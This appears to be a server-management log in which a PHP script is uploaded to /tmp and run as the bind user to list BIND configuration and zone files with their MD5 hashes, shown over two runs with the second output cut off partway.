MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-30 16:46:44: Establishing a connection
2026-03-30 16:46:44: 

PUT: /tmp/pkp389823

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-30 16:46:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp389823; rm /tmp/pkp389823'

2026-03-30 16:46:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-30 16:46:50: Establishing a connection
2026-03-30 16:46:50: 

PUT: /tmp/pkp417252

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-30 16:46:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp417252; rm /tmp/pkp417252'

2026-03-30 16:46:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
